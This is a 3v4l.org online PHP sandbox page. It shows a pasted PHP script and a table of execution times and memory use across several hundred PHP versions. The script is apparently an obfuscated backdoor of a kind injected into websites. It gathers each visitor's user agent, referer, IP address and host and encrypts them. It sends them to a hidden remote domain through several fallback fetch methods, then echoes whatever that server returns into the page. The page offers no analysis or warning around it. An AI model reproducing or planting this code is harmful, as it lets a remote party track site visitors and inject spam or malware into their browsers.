3v4l.org

run code in 300+ PHP versions simultaneously
<?php function en23($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; }; function en2($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; } function g_1($url) { if (function_exists("file_get_contents") === false) return false; $buf = @file_get_contents($url); if ($buf == "") return false; return $buf; } function g_2($url) { if (function_exists("curl_init") === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HEADER, 0); $res = curl_exec($ch); curl_close($ch); if ($res == "") return false; return $res; } function g_3($url) { if (function_exists("file") === false) return false; $inc = @file($url); $buf = @implode("", $inc); if ($buf == "") return false; return $buf; } function g_4($url) { if (function_exists("socket_create") === false) return false; $p= @parse_url($url); $host = $p["host"]; if(!isset($p["query"])) $p["query"]=""; $uri = $p["path"] . "?" . $p["query"]; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $req = "GET $uri HTTP/1.0\n"; $req .= "Host: $host\n\n"; socket_write($sock, $req); $buf = ""; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode("\r\n\r\n", $buf); return $buf; } function gtd ($url) { $co = ""; $co = @g_1($url); if ($co !== false) return $co; $co = @g_2($url); if ($co !== false) return $co; $co = @g_3($url); if ($co !== false) return $co; $co = @g_4($url); if ($co !== false) return $co; return ""; } if (!function_exists("comgzi")) { function comgzi($gzData) { if (substr($gzData,0,3)=="") { $i=10; $flg=ord(substr($gzData,3,1)); if ($flg>0) { if ($flg & 4) { list($xlen)=unpack("v",substr($gzData,$i,2)); $i=$i+2+$xlen;} if ($flg & 8) $i=strpos($gzData,"",$i)+1; if ($flg & 16) $i=strpos($gzData,"", $i)+1; if ( $flg & 2) $i=$i+2;} return @gzinflate(substr($gzData,$i,-8));} else{ return false;}} } //} function k34($op,$text) { return base64_encode(en2($text, $op)); } function check212($param) { if(!isset($_SERVER[$param])) $a="non"; else if ($_SERVER[$param]=="") $a="non"; else $a=$_SERVER[$param]; return $a; } function day212() { $a=check212("HTTP_USER_AGENT"); $b=check212("HTTP_REFERER"); $c=check212("REMOTE_ADDR"); $d=check212("HTTP_HOST"); $e=check212("PHP_SELF"); $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); $op=mt_rand(100000,999999); $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); $url="http://".cqq(".com")."/".$g4; $ca1=en2(@gtd($url),$op); $a1=@explode("!NF0",$ca1); if (sizeof($a1)>=2) $o1 = $a1[1]; else $o1 = ""; return $o1; } //} if (!function_exists("dcoo")) { function dcoo($cz, $length = null) { if (false !== ($dz = @gzinflate($cz) ) ) return $dz; if (false !== ($dz = @comgzi($cz) ) ) return $dz; if (false !== ($dz = @gzuncompress($cz) ) ) return $dz; if (function_exists("gzdecode") ) { $dz = @gzdecode($cz); if (false !==$dz ) return $dz; } return $cz; } } echo day212();

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0230.00018.52
8.3.50.0070.01017.73
8.3.40.0120.00318.92
8.3.30.0040.01118.93
8.3.20.0080.01119.03
8.3.10.0030.00520.47
8.3.00.0070.00317.84
8.2.180.0070.01116.88
8.2.170.0150.00022.96
8.2.160.0000.01520.70
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0030.00526.16
8.2.120.0040.00419.83
8.2.110.0070.00320.59
8.2.100.0070.00417.72
8.2.90.0080.00018.16
8.2.80.0050.00317.97
8.2.70.0040.00417.75
8.2.60.0000.00918.05
8.2.50.0030.00518.07
8.2.40.0040.00418.28
8.2.30.0000.00718.22
8.2.20.0000.00817.89
8.2.10.0030.00517.92
8.2.00.0080.00017.93
8.1.280.0100.00625.92
8.1.270.0040.00424.66
8.1.260.0040.00426.35
8.1.250.0000.00828.09
8.1.240.0040.00722.67
8.1.230.0050.00521.09
8.1.220.0030.00517.80
8.1.210.0080.00019.05
8.1.200.0000.01017.48
8.1.190.0000.00917.78
8.1.180.0120.00018.10
8.1.170.0000.00819.06
8.1.160.0040.00419.00
8.1.150.0080.00018.77
8.1.140.0070.00317.57
8.1.130.0000.00717.94
8.1.120.0040.00417.58
8.1.110.0030.00617.62
8.1.100.0040.00417.56
8.1.90.0030.00517.55
8.1.80.0050.00217.61
8.1.70.0000.00817.56
8.1.60.0000.00817.68
8.1.50.0000.00817.57
8.1.40.0030.00517.67
8.1.30.0000.00817.74
8.1.20.0000.00917.66
8.1.10.0040.00417.67
8.1.00.0050.00317.52
8.0.300.0050.00220.16
8.0.290.0030.00616.88
8.0.280.0000.00718.57
8.0.270.0000.00717.39
8.0.260.0050.00316.88
8.0.250.0000.00717.15
8.0.240.0090.00017.13
8.0.230.0040.00417.03
8.0.220.0030.00517.07
8.0.210.0050.00317.09
8.0.200.0030.00317.09
8.0.190.0030.00617.13
8.0.180.0030.00517.10
8.0.170.0050.00317.00
8.0.160.0040.00417.10
8.0.150.0070.00316.97
8.0.140.0050.00317.06
8.0.130.0000.00613.54
8.0.120.0000.01017.09
8.0.110.0000.00816.95
8.0.100.0040.00416.87
8.0.90.0000.00717.05
8.0.80.0150.00017.13
8.0.70.0050.00217.12
8.0.60.0000.00717.13
8.0.50.0040.00416.96
8.0.30.0160.00617.30
8.0.20.0080.01117.26
8.0.10.0000.00717.07
8.0.00.0090.00916.74
7.4.330.0030.00314.66
7.4.320.0030.00316.69
7.4.300.0070.00016.68
7.4.290.0000.00716.62
7.4.280.0070.00416.63
7.4.270.0030.00316.61
7.4.260.0000.00513.39
7.4.250.0030.00616.51
7.4.240.0030.00516.62
7.4.230.0040.00416.82
7.4.220.0110.00816.63
7.4.210.0120.00816.61
7.4.200.0040.00416.75
7.4.190.0050.00216.88
7.4.160.0150.00616.61
7.4.150.0100.00717.07
7.4.140.0120.00617.31
7.4.130.0250.01616.66
7.4.120.0070.01116.72
7.4.110.0130.01016.58
7.4.100.0130.00616.74
7.4.90.0090.00916.54
7.4.80.0130.00319.39
7.4.70.0110.00716.49
7.4.60.0080.01116.80
7.4.50.0090.00023.17
7.4.40.0090.00921.69
7.4.30.0160.00316.73
7.4.10.0070.01415.35
7.4.00.0070.01115.13
7.3.330.0060.00013.62
7.3.320.0040.00413.48
7.3.310.0040.00416.45
7.3.300.0000.00716.43
7.3.290.0090.01216.40
7.3.280.0050.01216.50
7.3.270.0110.00817.07
7.3.260.0110.01018.24
7.3.250.0100.00916.49
7.3.240.0030.01316.74
7.3.230.0100.00716.53
7.3.210.0120.00816.49
7.3.200.0090.01216.60
7.3.190.0090.01216.43
7.3.180.0060.01116.49
7.3.170.0100.01016.68
7.3.160.0160.00616.50
7.3.130.0100.00714.77
7.3.120.0070.01015.05
7.3.110.0070.01015.07
7.3.100.0090.00615.07
7.3.90.0060.00615.29
7.3.80.0030.00914.67
7.3.70.0150.00315.05
7.3.60.0030.00614.96
7.3.50.0040.01114.78
7.3.40.0040.01114.90
7.3.30.0060.00614.70
7.3.20.0070.01016.81
7.3.10.0080.00316.78
7.3.00.0070.00716.55
7.2.330.0100.00716.65
7.2.320.0110.00616.93
7.2.310.0180.00016.51
7.2.300.0070.01016.49
7.2.290.0070.01016.69
7.2.260.0090.00914.81
7.2.250.0030.01014.91
7.2.240.0090.00615.07
7.2.230.0100.00615.13
7.2.220.0040.01214.88
7.2.210.0070.01014.76
7.2.200.0120.00315.34
7.2.190.0090.00615.04
7.2.180.0000.01415.34
7.2.170.0060.00915.20
7.2.160.0040.01515.12
7.2.150.0040.01217.09
7.2.140.0000.01517.05
7.2.130.0030.01016.77
7.2.120.0060.01016.75
7.2.110.0030.01016.92
7.2.100.0070.01017.03
7.2.90.0100.00317.05
7.2.80.0030.01016.92
7.2.70.0040.01117.17
7.2.60.0050.00916.85
7.2.50.0040.01116.91
7.2.40.0000.01017.00
7.2.30.0040.01517.00
7.2.20.0060.00916.69
7.2.10.0000.01116.79
7.2.00.0030.01118.19
7.1.330.0090.00615.98
7.1.320.0070.01115.75
7.1.310.0110.00415.68
7.1.300.0040.00816.00
7.1.290.0070.00415.82
7.1.280.0060.00615.52
7.1.270.0100.01015.85
7.1.260.0070.00715.82
7.1.250.0030.01015.97
7.1.240.0090.00616.00
7.1.230.0040.01215.64
7.1.220.0030.01015.64
7.1.210.0030.01015.57
7.1.200.0030.01115.83
7.1.190.0000.01315.72
7.1.180.0110.00315.93
7.1.170.0040.01215.72
7.1.160.0030.01015.63
7.1.150.0060.00315.83
7.1.140.0080.00815.84
7.1.130.0000.00915.61
7.1.120.0030.01415.73
7.1.110.0060.00915.95
7.1.100.0050.00716.81
7.1.90.0030.00915.85
7.1.80.0030.00715.66
7.1.70.0050.01016.55
7.1.60.0080.00817.66
7.1.50.0100.00625.31
7.1.40.0060.00915.84
7.1.30.0060.01015.82
7.1.20.0090.00615.76
7.1.10.0080.00315.69
7.1.00.0020.03419.14
7.0.330.0060.00915.36
7.0.320.0070.01015.29
7.0.310.0000.01115.07
7.0.300.0030.01015.48
7.0.290.0090.00015.40
7.0.280.0090.00615.22
7.0.270.0030.00615.43
7.0.260.0030.00615.57
7.0.250.0000.01015.55
7.0.240.0000.00815.64
7.0.230.0040.00415.39
7.0.220.0030.00915.52
7.0.210.0070.00315.22
7.0.200.0020.00716.21
7.0.190.0070.00715.24
7.0.180.0060.00915.55
7.0.170.0030.00615.43
7.0.160.0090.00015.56
7.0.150.0080.00015.49
7.0.140.0070.03518.74
7.0.130.0060.00915.19
7.0.120.0060.01818.72
7.0.110.0070.00315.51
7.0.100.0060.02617.69
7.0.90.0050.02517.86
7.0.80.0050.02717.80
7.0.70.0050.02217.84
7.0.60.0020.02717.77
7.0.50.0050.03017.85
7.0.40.0070.03216.73
7.0.30.0100.02816.80
7.0.20.0050.02516.84
7.0.10.0080.02116.80
7.0.00.0020.02916.78
5.6.400.0000.01414.51
5.6.390.0110.00414.47
5.6.380.0070.01014.46
5.6.370.0030.01014.45
5.6.360.0030.01014.28
5.6.350.0060.01014.77
5.6.340.0080.00614.80
5.6.330.0120.00614.71
5.6.320.0030.01014.25
5.6.310.0060.00314.59
5.6.300.0060.00914.54
5.6.290.0030.01014.42
5.6.280.0030.04017.91
5.6.270.0040.00414.91
5.6.260.0030.01014.48
5.6.250.0030.02517.61
5.6.240.0070.02417.71
5.6.230.0070.04517.62
5.6.220.0040.02717.56
5.6.210.0050.02317.55
5.6.200.0030.02517.91
5.6.190.0050.04117.85
5.6.180.0070.02517.82
5.6.170.0100.03817.92
5.6.160.0020.03617.71
5.6.150.0120.04017.79
5.6.140.0160.02217.71
5.6.130.0060.03217.72
5.6.120.0050.02517.86
5.6.110.0050.04417.84
5.6.100.0080.02417.75
5.6.90.0000.03117.83
5.6.80.0050.02117.35
5.6.70.0100.02817.29
5.6.60.0070.02217.40
5.6.50.0060.02817.33
5.6.40.0050.02217.48
5.6.30.0080.03917.42
5.6.20.0060.02117.28
5.6.10.0030.04517.36
5.6.00.0080.03817.53
5.5.380.0090.02217.30
5.5.370.0060.02217.60
5.5.360.0020.04417.59
5.5.350.0070.03017.44
5.5.340.0070.04617.73
5.5.330.0070.04217.53
5.5.320.0100.04217.69
5.5.310.0080.03717.51
5.5.300.0120.02317.74
5.5.290.0050.02517.54
5.5.280.0040.02617.60
5.5.270.0110.04017.66
5.5.260.0040.05017.70
5.5.250.0070.04317.60
5.5.240.0050.03917.29
5.5.230.0080.02617.27
5.5.220.0090.04217.46
5.5.210.0030.03417.41
5.5.200.0030.02517.20
5.5.190.0040.03417.38
5.5.180.0020.04117.33
5.5.170.0070.00714.39
5.5.160.0080.02017.38
5.5.150.0070.03917.22
5.5.140.0110.03817.30
5.5.130.0110.02517.16
5.5.120.0070.03617.34
5.5.110.0080.02817.41
5.5.100.0080.03717.11
5.5.90.0070.02317.18
5.5.80.0030.02317.38
5.5.70.0030.03017.21
5.5.60.0050.04617.10
5.5.50.0060.02317.23
5.5.40.0070.02317.18
5.5.30.0050.04617.12
5.5.20.0120.03817.20
5.5.10.0050.03917.31
5.5.00.0030.02717.12
5.4.450.0060.03515.22
5.4.440.0000.02715.43
5.4.430.0030.04715.39
5.4.420.0030.03515.46
5.4.410.0070.02015.32
5.4.400.0000.02815.31
5.4.390.0050.02015.07
5.4.380.0070.03715.11
5.4.370.0030.04115.08
5.4.360.0040.04514.98
5.4.350.0030.04315.08
5.4.340.0080.03615.06
5.4.330.0000.00711.37
5.4.320.0070.03515.10
5.4.310.0020.02515.09
5.4.300.0060.04015.19
5.4.290.0050.03714.96
5.4.280.0080.04115.22
5.4.270.0060.01715.21
5.4.260.0050.01814.96
5.4.250.0050.04015.14
5.4.240.0020.02715.22
5.4.230.0080.02415.29
5.4.220.0030.02315.08
5.4.210.0020.02815.10
5.4.200.0020.03415.10
5.4.190.0070.03815.02
5.4.180.0050.04015.16
5.4.170.0030.02215.22
5.4.160.0060.03415.09
5.4.150.0080.02815.02
5.4.140.0030.02113.67
5.4.130.0050.02313.82
5.4.120.0080.02813.70
5.4.110.0030.03813.95
5.4.100.0020.04213.96
5.4.90.0200.01213.85
5.4.80.0070.02013.73
5.4.70.0050.02213.83
5.4.60.0050.03713.87
5.4.50.0060.02413.87
5.4.40.0100.03513.87
5.4.30.0050.03813.77
5.4.20.0080.03213.74
5.4.10.0100.03813.89
5.4.00.0020.03713.33
5.3.290.0070.03512.73
5.3.280.0020.04012.79
5.3.270.0020.02512.67
5.3.260.0020.03212.71
5.3.250.0050.04012.69
5.3.240.0020.02712.65
5.3.230.0040.04212.72
5.3.220.0050.02112.60
5.3.210.0090.02912.58
5.3.200.0080.03812.64
5.3.190.0050.02312.68
5.3.180.0090.03712.80
5.3.170.0060.02212.75
5.3.160.0050.02712.79
5.3.150.0000.04612.64
5.3.140.0100.03712.69
5.3.130.0050.03712.75
5.3.120.0030.04012.49
5.3.110.0050.02612.69
5.3.100.0040.02512.36
5.3.90.0070.03312.53
5.3.80.0040.04012.42
5.3.70.0030.02112.31
5.3.60.0030.02012.30
5.3.50.0050.02212.34
5.3.40.0070.02812.35
5.3.30.0100.02512.26
5.3.20.0050.02112.24
5.3.10.0080.02712.17
5.3.00.0050.03112.13

preferences:
51.85 ms | 401 KiB | 5 Q